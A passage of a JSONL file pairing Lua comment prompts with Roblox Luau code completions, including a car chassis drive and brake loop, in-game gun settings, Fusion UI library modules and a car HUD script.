false\n\t\t\t--Output\n\t\t\tif _PBrake and ((_Tune.Config ~= \"FWD\" and (((v.Name==\"FL\" or v.Name==\"FR\") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name==\"RR\" or v.Name==\"RL\") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == \"FWD\" and (v.Name==\"RR\" or v.Name==\"RL\"))) then\n\t\t\t\t--PBrake\n\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce\n\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\telse\n\t\t\t\t--Apply Power\n\t\t\t\tif ((_TMode == \"Manual\" or _TMode == \"Semi\") and _GBrake==0) or (_TMode == \"Auto\" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then\n\t\t\t\t\tlocal driven = false\n\t\t\t\t\tfor _,a in pairs(Drive) do if a==v then driven = true end end\n\t\t\t\t\tif driven then\n\t\t\t\t\t\tlocal on=1\n\t\t\t\t\t\tif not script.Parent.IsOn.Value then on=0 end\n\t\t\t\t\t\tlocal throt = _GThrot * _GThrotShift\n\t\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then throt = _GBrake end\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Apply TCS\n\t\t\t\t\t\tif _TCS then\n\t\t\t\t\t\t\ttqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif tqTCS < 1 then\n\t\t\t\t\t\t\t_TCSAmt = tqTCS\n\t\t\t\t\t\t\t_TCSActive = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\t--Update Forces\n\t\t\t\t\t\tlocal dir = 1\n\t\t\t\t\t\tif _CGear==-1 then dir = -1 end\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Ref*aRef*_spLimit*dir\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new()\n\t\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Brakes\n\t\t\t\telse\n\t\t\t\t\tlocal brake = _GBrake\n\t\t\t\t\tif _TMode == \"Auto\" and _CGear==-1 then brake = _GThrot end\n\t\t\t\t\t\n\t\t\t\t\t--Apply ABS\n\t\t\t\t\tlocal tqABS = 1\n\t\t\t\t\tif _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then\n\t\t\t\t\t\ttqABS = 0\n\t\t\t\t\tend\n\t\t\t\t\tif tqABS < 1 then\n\t\t\t\t\t\t_ABSActive = true\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t--Update Forces\n\t\t\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS\n\t\t\t\t\telse\n\t\t\t\t\t\tv[\"#AV\"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS\n\t\t\t\t\tend\n\t\t\t\t\tv[\"#AV\"].angularvelocity=Vector3.new()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n\t"} +{"prompt": "----- Module Table -----", "completion": "\n\nlocal MadworkMaid = {\n\t\n}\n"} +{"prompt": "--\t====================\n--\tMISCELLANEOUS\n--\tEtc. settings for the gun\n--\t====================", "completion": "\n\n\t\tKnockback = 10; --Setting above 0 will enabling the gun to push enemy back. NOTE: If \"ExplosiveEnabled\" is enabled, this setting is not work\n\t\tLifesteal = 0; --In percent - Setting above 0 will allow user to steal enemy's health by dealing a damage to them.\n\t\tFlamingBullet = false; --Enable the bullet to set enemy on fire. Its DPS and Duration can be edited inside \"IgniteScript\"\n\t\tDualEnabled = false; --Enable the user to hold two guns instead one. In order to make this setting work, you must clone its Handle and name it to \"Handle2\". Enabling this setting will override Idle Animation ID.\n\t\tPiercing = 0; --Setting above 0 will enabling the gun to penetrate up to XX victim(s). Cannot penetrate wall. NOTE: It doesn't work with \"ExplosiveEnabled\"\n\t\t"} +{"prompt": "-- Put this in your place. You don't need to mess with anything, just insert the script.\n-- When people spawn, they will have an unlimited FF. When they equip any tool, the FF will be removed.\n-- Powersound.", "completion": "\n"} +{"prompt": "-- Implements Javascript's `Array.prototype.filter` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter", "completion": "\nreturn function(t: Array, callback: callbackFn | callbackFnWithThisArg, thisArg: U?): Array\n\tif typeof(t) ~= \"table\" then\n\t\terror(string.format(\"Array.filter called on %s\", typeof(t)))\n\tend\n\tif typeof(callback) ~= \"function\" then\n\t\terror(\"callback is not a function\")\n\tend\n\n\tlocal len = #t\n\tlocal res = {}\n\tlocal index = 1\n\n\tif thisArg == nil then\n\t\tfor i = 1, len do\n\t\t\tlocal kValue = t[i]\n\t\t\tif kValue ~= nil then\n\t\t\t\tif (callback :: callbackFn)(kValue, i, t) then\n\t\t\t\t\tres[index] = kValue\n\t\t\t\t\tindex += 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\tfor i = 1, len do\n\t\t\tlocal kValue = t[i]\n\t\t\tif kValue ~= nil then\n\t\t\t\tif (callback :: callbackFnWithThisArg)(thisArg, kValue, i, t) then\n\t\t\t\t\tres[index] = kValue\n\t\t\t\t\tindex += 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\treturn res\nend\n"} +{"prompt": "---------------------------------------Function end here.", "completion": "\nend\n\n\nTool.Enabled = true\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\t--Tool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal targetPos = humanoid.TargetPoint\n\tlocal lookAt = (targetPos - character.Head.Position).unit\n\t\n\tif (check()) then\n\tfire(lookAt)\n\twait(0.1)\n\tonActivated()\n\tend\n\treturn\n\n\t--Tool.Enabled = true\nend\n\n\nscript.Parent.Activated:connect(onActivated)\n"} +{"prompt": "--[[\n\tRepresents a value that is intentionally present, but should be interpreted\n\tas `nil`.\n\n\tCryo.None is used by included utilities to make removing values more\n\tergonomic.\n]]", "completion": "\n\nlocal None = newproxy(true)\n\ngetmetatable(None).__tostring = function()\n\treturn \"Cryo.None\"\nend\n\nreturn None\n"} +{"prompt": "----- sink plug handler -----", "completion": "\n\nplug.Interactive.ClickDetector.MouseClick:Connect(function()\n\tif plugged.Value == false then\n\t\tplugged.Value = true\n\t\tplug.Plug.CFrame = plug.Plug.CFrame * CFrame.new(0,-0.1,0)\n\telse\n\t\tplugged.Value = false\n\t\tplug.Plug.CFrame = plug.Plug.CFrame * CFrame.new(0,0.1,0)\n\tend\nend)\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 800\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--[[**\n\tensures value is a given literal value\n\n\t@param literal The literal to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.literal(...)\n\tlocal size = select(\"#\", ...)\n\tif size == 1 then\n\t\tlocal literal = ...\n\t\treturn function(value)\n\t\t\tif value ~= literal then\n\t\t\t\treturn false, string.format(\"expected %s, got %s\", tostring(literal), tostring(value))\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\telse\n\t\tlocal literals = {}\n\t\tfor i = 1, size do\n\t\t\tlocal value = select(i, ...)\n\t\t\tliterals[i] = t.literal(value)\n\t\tend\n\n\t\treturn t.union(table.unpack(literals, 1, size))\n\tend\nend\n"} +{"prompt": "--[[\n\tConstructs special keys for property tables which connect event listeners to\n\tan instance.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal logError = require(Package.Logging.logError)\n\nlocal function getProperty_unsafe(instance: Instance, property: string)\n\treturn (instance :: any)[property]\nend\n\nlocal function OnEvent(eventName: string): PubTypes.SpecialKey\n\tlocal eventKey = {}\n\teventKey.type = \"SpecialKey\"\n\teventKey.kind = \"OnEvent\"\n\teventKey.stage = \"observer\"\n\n\tfunction eventKey:apply(callback: any, applyTo: Instance, cleanupTasks: {PubTypes.Task})\n\t\tlocal ok, event = pcall(getProperty_unsafe, applyTo, eventName)\n\t\tif not ok or typeof(event) ~= \"RBXScriptSignal\" then\n\t\t\tlogError(\"cannotConnectEvent\", nil, applyTo.ClassName, eventName)\n\t\telseif typeof(callback) ~= \"function\" then\n\t\t\tlogError(\"invalidEventHandler\", nil, eventName)\n\t\telse\n\t\t\ttable.insert(cleanupTasks, event:Connect(callback))\n\t\tend\n\tend\n\n\treturn eventKey\nend\n\nreturn OnEvent\n"} +{"prompt": "-- Workaround to support Lua 5.2 bit32 API with the LuaJIT bit one", "completion": "\nif e.rol and not e.lrotate then\n\te.lrotate = e.rol\nend\nif e.ror and not e.rrotate then\n\te.rrotate = e.ror\nend\n\nreturn e\n"} +{"prompt": "--local folders = game.ServerStorage:FindFirstChild(\".PlayerFolders\")\n--playerfolder = folders:FindFirstChild(player.Name)", "completion": "\nlocal playerbounty = player.leaderstats.Bounty\nlocal class = player.BountyEnabled\nwhile class.Value == true do\nlocal Humanoid = player.Character:FindFirstChild(\"Humanoid\")\n\t\twait(3)\n\t\t\n\t\t\tif playerbounty.Value >= 0 then\n\t\t\t\tHumanoid.MaxHealth = 100\n\t\t\tend\n\t\t\tend\n\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal Figure = script.Parent\nlocal Torso = Figure.Torso\nlocal RightShoulder = Torso:findFirstChild(\"Right Shoulder\")\nlocal LeftShoulder = Torso:findFirstChild(\"Left Shoulder\")\nlocal RightHip = Torso:findFirstChild(\"Right Hip\")\nlocal LeftHip = Torso:findFirstChild(\"Left Hip\")\nlocal Neck = Torso.Neck\nlocal Humanoid = Figure.Humanoid\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n"} +{"prompt": "-- ANIMATIONS --", "completion": "\nlocal equippedIdle\nlocal val = Player.Character:WaitForChild(\"isBlocking\")\nlocal humanoid = Player.Character.Humanoid\nlocal debs = false\nlocal equiped = false\nequippedIdle = humanoid:LoadAnimation(script.Animations.Idle)\n"} +{"prompt": "--\t\t\tgame.Workspace.Points:ClearAllChildren()\n--\t\t\tlocal ps = path:GetPointCoordinates()\n--\t\t\tfor _, point in pairs(ps) do\n--\t\t\t\tlocal part = Instance.new(\"Part\", game.Workspace.Points)\n--\t\t\t\tpart.CanCollide = false\n--\t\t\t\tpart.Anchored = true\n--\t\t\t\tpart.FormFactor = Enum.FormFactor.Custom\n--\t\t\t\tpart.Size = Vector3.new(1,1,1)\n--\t\t\t\tpart.Position = point\n--\t\t\tend\t\t\t", "completion": "\n\t\t\t\n\t\t\tcurrentPointIndex = 1\n\t\t\tlastTargetPos = target\n\t\tend\n\t\t\n\t\tif path then\n\t\t\tlocal points = path:GetPointCoordinates()\n\t\t\tif currentPointIndex < #points then\n\t\t\t\tlocal currentPoint = points[currentPointIndex]\n\t\t\t\tlocal distance = (character.HumanoidRootPart.Position - currentPoint).magnitude\n\t\t\t\tif distance < NextPointThreshold then\n\t\t\t\t\tcurrentPointIndex = currentPointIndex + 1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tcharacter.Humanoid:MoveTo(points[currentPointIndex])\n\t\t\t\tif points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then\n\t\t\t\t\tcharacter.Humanoid.Jump = true\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcharacter.Humanoid:MoveTo(target)\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn this\nend\nreturn PathfindingUtility \n"} +{"prompt": "--[[\n\tThe CameraController runs the core render loop for the client's camera. It is a persistent object, that listens\n\tto ClientStateUpdate, changing target CFrame as and when needed. It also applies effects upon the camera, as dictated\n\tby the current camera state\n]]", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\n\nlocal LocalPlayer = Players.LocalPlayer\n\nlocal CameraController = {}\n\nlocal camera = workspace.CurrentCamera\n\nlocal CameraStates = {\n\tMENU = require(ReplicatedStorage.Source.CameraStates.CameraStateMenu),\n\tSPECTATING = require(ReplicatedStorage.Source.CameraStates.CameraStateSpectating)\n}\n\nlocal currentState = {}\n"} +{"prompt": "-- Local variables", "completion": "\nlocal tool = script.Parent\nlocal currentAmmo = tool.Configurations.ClipSize.Value\nlocal canFire = true\nlocal reloading = false\nlocal fireSound = tool.FireSound\n"} +{"prompt": "--// Tracer Vars", "completion": "\n\tTracerTransparency = 0;\t\n\tTracerLightEmission = 1000;\n\tTracerTextureLength = 0.1;\n\tTracerLifetime = 0.05;\n\tTracerFaceCamera = true;\n\tTracerColor = BrickColor.new('Bright yellow');\n"} +{"prompt": "-------------------------", "completion": "\n \nmouse.KeyDown:connect(function (key)\n key = string.lower(key)\n\tif key == \"k\" then --Camera controls\n if cam == (\"car\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"freeplr\")\n\t\telseif cam == (\"freeplr\") then\n\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\tcam = (\"lockplr\")\n elseif cam == (\"lockplr\") then\n\t\t\tCamera.CameraSubject = carSeat\n\t\t\tCamera.CameraType = (\"Custom\")\n\t\t\tcam = (\"car\")\n end\n\telseif key == \"[\" then -- volume down\n\t\tif carSeat.Parent.Body.MP.Sound.Volume >= 0 then\n\t\t\thandler:FireServer('volumedown', true)\n\t\tend\n\telseif key == \"]\" then -- volume up\n\t\tif carSeat.Parent.Body.MP.Sound.Volume <= 10 then\n\t\t\thandler:FireServer('volumeup', true)\n\t\tend\n\telseif key == \"u\" then -- music player\n\t\tif windows == false then \n\t\t\twinfob.Visible = true\n\t\t\twindows = true\n\t\telse windows = false\n\t\t\twinfob.Visible = false\n\t\tend\n\telseif key == \"g\" then -- sunroof\n\t\thandler:FireServer('sr')\n\telseif key == \"b\" then -- fp modes\n\t\tif carSeat.Mode.Value == \"Basic\" then \n\t\t\tcarSeat.Mode.Value = \"Normal\"\n\t\telseif carSeat.Mode.Value == \"Normal\" then\n\t\t\tcarSeat.Mode.Value = \"Sport\"\n\t\telse\n\t\t\tcarSeat.Mode.Value = \"Basic\"\n\t\tend\n\telseif key:byte() == 48 then -- CC\n\t\tst = true\n\tend\nend)\n\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\tif cam == \"lockplr\" then\n\t\tlocal XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1)\n\t\tlocal YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1)\n\t\tlocal LookOffset\n\t\tif player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tLookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.01,.45,-.4)*CFrame.Angles(-YLook,-XLook,0))\n\t\telse\n\t\t\tLookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.01,.05,-.45)*CFrame.Angles(-YLook,-XLook,0))\n\t\tend\n\t\tCamera.CameraType=\"Scriptable\"\n\t\tCamera.CameraSubject=player.Character.Humanoid\n\t\tCamera.CoordinateFrame=LookOffset\n\t\tplayer.CameraMaxZoomDistance=0\n\telse\n\t\tplayer.CameraMaxZoomDistance=400\n\tend\nend)\n\nmouse.KeyUp:connect(function (key)\n key = string.lower(key)\n\tif key:byte() == 48 then --Camera controls\n\t\tst = false\n\tend\nend)\n\nlocal mph = ((10/12) * (60/88))\n\nfunction showspeed(a)\n\tif carSeat.CC.Value then\n\t\tHUB2.S.Visible = true\n\t\tHUB2.CC.Visible = false\n\t\tHUB2.S.Text = math.floor(carSeat.CCS.Value)\n\t\tHUB2.S.TextColor3 = a and Color3.new(0,1,0) or Color3.new(1,0,0)\n\t\twait(2)\n\t\tHUB2.S.Visible = false\n\t\tHUB2.CC.Visible = true\n\tend\nend\n\nHUB2.Up.MouseButton1Click:connect(function()\n\tif st then\n\t\tcarSeat.CCS.Value = carSeat.CCS.Value+5\n\telse\n\t\tcarSeat.CCS.Value = carSeat.CCS.Value+1\n\tend\n\tshowspeed(true)\nend)\n\nHUB2.UpW.MouseButton1Click:connect(function()\n\thandler:FireServer('wspd',1)\nend)\n\nHUB2.DnW.MouseButton1Click:connect(function()\n\thandler:FireServer('wspd',-1)\nend)\n\nHUB2.W.MouseButton1Click:connect(function()\n\thandler:FireServer('wws',carSeat.WS.Value,st)\n\thandler:FireServer('wwr',carSeat.WS.Value,st)\nend)\n\nHUB2.Dn.MouseButton1Click:connect(function()\n\tif st then\n\t\tcarSeat.CCS.Value = carSeat.CCS.Value-5\n\telse\n\t\tcarSeat.CCS.Value = carSeat.CCS.Value-1\n\tend\n\tshowspeed(false)\nend)\n\nHUB2.SS.MouseButton1Click:connect(function()\n\tcarSeat.SST.Value = not carSeat.SST.Value\nend)\n\nHUB2.CC.MouseButton1Click:connect(function()\n\tcarSeat.CC.Value = not carSeat.CC.Value\n\tcarSeat.CCS.Value = math.floor(carSeat.Velocity.Magnitude*mph)\n\tif st then\n\t\tcarSeat.RCC.Value = not carSeat.RCC.Value\n\tend\n\twait(.1)\n\tshowspeed(true)\nend)\n\nHUB2.Limiter.MouseButton1Click:connect(function() --Ignition\n\t if carSeat.IsOn.Value == false then\n\t\tcarSeat.IsOn.Value = true\n\t\tcarSeat.Parent.Body.Dash.D.G.Enabled = true\n\t\tcarSeat.Parent.Body.Dash.S.G.Enabled = true\n\t\tcarSeat.Startup:Play()\n\t\twait(1)\n\t\tcarSeat.Chime:Play()\n\telse\n\t\tcarSeat.IsOn.Value = false\n\t\tcarSeat.Parent.Body.Dash.D.G.Enabled = false\n\t\tcarSeat.Parent.Body.Dash.S.G.Enabled = false\n\tend\nend)\n\nwinfob.mg.Play.MouseButton1Click:connect(function() --Play the next song\n\thandler:FireServer('updateSong', winfob.mg.Input.Text)\nend)\n\nwinfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song\n\thandler:FireServer('pauseSong')\nend)\n\ncarSeat.Indicator.Changed:connect(function()\n\tif carSeat.Indicator.Value == true then\n\t\tscript.Parent.Indicator:Play()\n\telse\n\t\tscript.Parent.Indicator2:Play()\n\tend\nend)\nif game.Workspace.FilteringEnabled == true then\n\thandler:FireServer('feON')\nelseif game.Workspace.FilteringEnabled == false then\n\thandler:FireServer('feOFF')\nend\n\ncarSeat.LI.Changed:connect(function()\n\tif carSeat.LI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Left.Visible = true\n\t\tcarSeat.Parent.Body.Dash.D.G.OdoB.Left.Visible = true\n\t\tscript.Parent.HUB.Left.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Left.Visible = false\n\t\tcarSeat.Parent.Body.Dash.D.G.OdoB.Left.Visible = false\n\t\tscript.Parent.HUB.Left.Visible = false\n\tend\nend)\n\ncarSeat.RI.Changed:connect(function()\n\tif carSeat.RI.Value == true then\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Right.Visible = true\n\t\tcarSeat.Parent.Body.Dash.D.G.TacB.Right.Visible = true\n\t\tscript.Parent.HUB.Right.Visible = true\n\telse\n\t\tcarSeat.Parent.Body.Dash.D.G.Info.Right.Visible = false\n\t\tcarSeat.Parent.Body.Dash.D.G.TacB.Right.Visible = false\n\t\tscript.Parent.HUB.Right.Visible = false\n\tend\nend)\n\nfor i,v in pairs(script.Parent:getChildren()) do\n\tif v:IsA('ImageButton') then\n\t\tv.MouseButton1Click:connect(function()\n\t\t\tif carSeat.Windows:FindFirstChild(v.Name) then\n\t\t\t\tlocal v = carSeat.Windows:FindFirstChild(v.Name)\n\t\t\t\tif v.Value == true then\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, false)\n\t\t\t\telse\n\t\t\t\t\thandler:FireServer('updateWindows', v.Name, true)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction fmt(mins)\n\tlocal hr\n\tlocal hrs = math.floor(mins / 60)\n\tlocal mn = math.floor((mins)%60)\n\tlocal stm\n\tif mn < 10 then\n\t\tstm = \"0\"..(tostring(math.floor((mins)%60)))\n\telse stm = tostring(math.floor((mins)%60))\n\tend\n\tlocal pm = false\n\tif hrs >= 12 then\n\t\tpm = true\n\telse pm = false\n\tend\n\tif hrs%12 == 0 then\n\t\thr = 12\n\telse hr = hrs%12\n\tend\n\tlocal stamp = (hr)..\":\"..(stm)..(pm and \" PM\" or \" AM\")\n\treturn stamp\nend\n\nwhile wait() do\n\tcarSeat.Parent.Body.Dash.D.G.Info.Time.Text = fmt(game.Lighting:GetMinutesAfterMidnight())\n\tcarSeat.Parent.Body.Dash.S.G.HB.Time.Text = fmt(game.Lighting:GetMinutesAfterMidnight())\n\t\n\tcarSeat.Parent.Body.Dash.D.G.Spd.Speed.Text = (math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88))))\n\tif carSeat.SST.Value == false then\n\t\tHUB2.SS.ImageColor3 = Color3.new(0.85,0,0)\n\telse\n\t\tif carSeat.Tic.Value then\n\t\t\tHUB2.SS.ImageColor3 = Color3.new(0,1,0)\n\t\telse\n\t\t\tHUB2.SS.ImageColor3 = Color3.new(0,0,0)\n\t\tend\n\tend\n\t\n\tcarSeat.Parent.Body.Dash.S.G.HB.S.Visible = (carSeat.Mode.Value == \"Sport\")\n\tcarSeat.Parent.Body.Dash.D.G.SpdB.Visible = (carSeat.Mode.Value == \"Basic\")\n\tcarSeat.Parent.Body.Dash.D.G.OdoB.Visible = (carSeat.Mode.Value == \"Basic\")\n\tcarSeat.Parent.Body.Dash.D.G.TacB.Visible = (carSeat.Mode.Value == \"Basic\")\n\t\n\tcarSeat.Parent.Body.Dash.D.G.Spd.Visible = (carSeat.Mode.Value ~= \"Basic\")\n\tcarSeat.Parent.Body.Dash.D.G.Info.Visible = (carSeat.Mode.Value ~= \"Basic\")\n\tcarSeat.Parent.Body.Dash.D.G.Tac.Visible = (carSeat.Mode.Value ~= \"Basic\")\n\tcarSeat.Parent.Body.Dash.D.G.h.Visible = (carSeat.Mode.Value ~= \"Basic\")\n\t\n\tif game.Lighting:GetMinutesAfterMidnight() < 60*6 or game.Lighting:GetMinutesAfterMidnight() > 60*17.5 then\n\t\tcarSeat.Parent.Body.Dash.S.G.HB.ImageColor3 = Color3.fromRGB(0, 42, 63)\n\telse\n\t\tcarSeat.Parent.Body.Dash.S.G.HB.ImageColor3 = Color3.fromRGB(0, 126, 189)\n\tend\n\t\n\tif carSeat.Stations.mood.Value > 0 then\n\t\twinfob.m2.Current.Text = \"Preset #\"..carSeat.Stations.mood.Value\n\telse\n\t\twinfob.m2.Current.Text = \"\"\n\tend\n\t"} +{"prompt": "--[[\n\tThe entry point for the Fusion library.\n]]", "completion": "\n\nlocal PubTypes = require(script.PubTypes)\nlocal restrictRead = require(script.Utility.restrictRead)\n\nexport type StateObject = PubTypes.StateObject\nexport type CanBeState = PubTypes.CanBeState\nexport type Symbol = PubTypes.Symbol\nexport type Value = PubTypes.Value\nexport type Computed = PubTypes.Computed\nexport type ForPairs = PubTypes.ForPairs\nexport type ForKeys = PubTypes.ForKeys\nexport type ForValues = PubTypes.ForKeys\nexport type Observer = PubTypes.Observer\nexport type Tween = PubTypes.Tween\nexport type Spring = PubTypes.Spring\n\ntype Fusion = {\n\tversion: PubTypes.Version,\n\n\tNew: (className: string) -> ((propertyTable: PubTypes.PropertyTable) -> Instance),\n\tHydrate: (target: Instance) -> ((propertyTable: PubTypes.PropertyTable) -> Instance),\n\tRef: PubTypes.SpecialKey,\n\tCleanup: PubTypes.SpecialKey,\n\tChildren: PubTypes.SpecialKey,\n\tOut: PubTypes.SpecialKey,\n\tOnEvent: (eventName: string) -> PubTypes.SpecialKey,\n\tOnChange: (propertyName: string) -> PubTypes.SpecialKey,\n\n\tValue: (initialValue: T) -> Value,\n\tComputed: (callback: () -> T, destructor: (T) -> ()?) -> Computed,\n\tForPairs: (inputTable: CanBeState<{[KI]: VI}>, processor: (KI, VI) -> (KO, VO, M?), destructor: (KO, VO, M?) -> ()?) -> ForPairs,\n\tForKeys: (inputTable: CanBeState<{[KI]: any}>, processor: (KI) -> (KO, M?), destructor: (KO, M?) -> ()?) -> ForKeys,\n\tForValues: (inputTable: CanBeState<{[any]: VI}>, processor: (VI) -> (VO, M?), destructor: (VO, M?) -> ()?) -> ForValues,\n\tObserver: (watchedState: StateObject) -> Observer,\n\n\tTween: (goalState: StateObject, tweenInfo: TweenInfo?) -> Tween,\n\tSpring: (goalState: StateObject, speed: number?, damping: number?) -> Spring,\n\n\tcleanup: (...any) -> (),\n\tdoNothing: (...any) -> ()\n}\n\nreturn restrictRead(\"Fusion\", {\n\tversion = {major = 0, minor = 2, isRelease = false},\n\n\tNew = require(script.Instances.New),\n\tHydrate = require(script.Instances.Hydrate),\n\tRef = require(script.Instances.Ref),\n\tOut = require(script.Instances.Out),\n\tCleanup = require(script.Instances.Cleanup),\n\tChildren = require(script.Instances.Children),\n\tOnEvent = require(script.Instances.OnEvent),\n\tOnChange = require(script.Instances.OnChange),\n\n\tValue = require(script.State.Value),\n\tComputed = require(script.State.Computed),\n\tForPairs = require(script.State.ForPairs),\n\tForKeys = require(script.State.ForKeys),\n\tForValues = require(script.State.ForValues),\n\tObserver = require(script.State.Observer),\n\n\tTween = require(script.Animation.Tween),\n\tSpring = require(script.Animation.Spring),\n\n\tcleanup = require(script.Utility.cleanup),\n\tdoNothing = require(script.Utility.doNothing)\n}) :: Fusion\n"} +{"prompt": "-- map to UI objects", "completion": "\nlocal btnLeft = welcomeMenuGui.BtnLeft\nlocal btnRight = welcomeMenuGui.BtnRight\nlocal screenHolder = welcomeMenuGui.Screens\nlocal lobbyScreen1 = screenHolder.UIScreen1\nlocal lobbyScreen2 = screenHolder.UIScreen2\nlocal lobbyScreen3 = screenHolder.UIScreen3\nlocal welcomeFrame1 = welcomeMenuGui.UIFrame\nlocal welcomeFrame2 = welcomeMenuGui.UIFrameInner\nlocal welcomeBg = welcomeMenuGui.UIBg\nlocal welcomeGrid = welcomeMenuGui.UIGrid\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nDisplays = 3 -- Sets how many displays this scripts will use...\nDisplayColor = Color3.fromRGB(255, 0, 0)\n"} +{"prompt": "-- BL4WATCH9", "completion": "\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nmouse.Icon = \"rbxassetid://68308747\" -- Change the ID to any Icon you want.\n"} +{"prompt": "--[[\n\tConstructs a new computed state object, which follows the value of another\n\tstate object using a tween.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal TweenScheduler = require(Package.Animation.TweenScheduler)\nlocal useDependency = require(Package.Dependencies.useDependency)\nlocal initDependency = require(Package.Dependencies.initDependency)\n\nlocal class = {}\n\nlocal CLASS_METATABLE = {__index = class}\nlocal WEAK_KEYS_METATABLE = {__mode = \"k\"}\n\nlocal ENABLE_PARAM_SETTERS = false\n"} +{"prompt": "--i am a very bad scripter", "completion": "\n\nfunction hello()\n\tscript.Disabled = true\n\tscript.Parent.Handle.Pickup:Play()\n\twait(script.Parent.Handle.Pickup.TimeLength)\n\tscript.Parent.Handle.Pickup:Destroy()\n\tscript:Destroy()\nend\n\nscript.Parent.Equipped:Connect(hello)\n"} +{"prompt": "--[[**\n\tensures value is a number where min < value < max\n\n\t@param min The minimum to use\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberConstrainedExclusive(min, max)\n\tassert(t.number(min) and t.number(max))\n\tlocal minCheck = 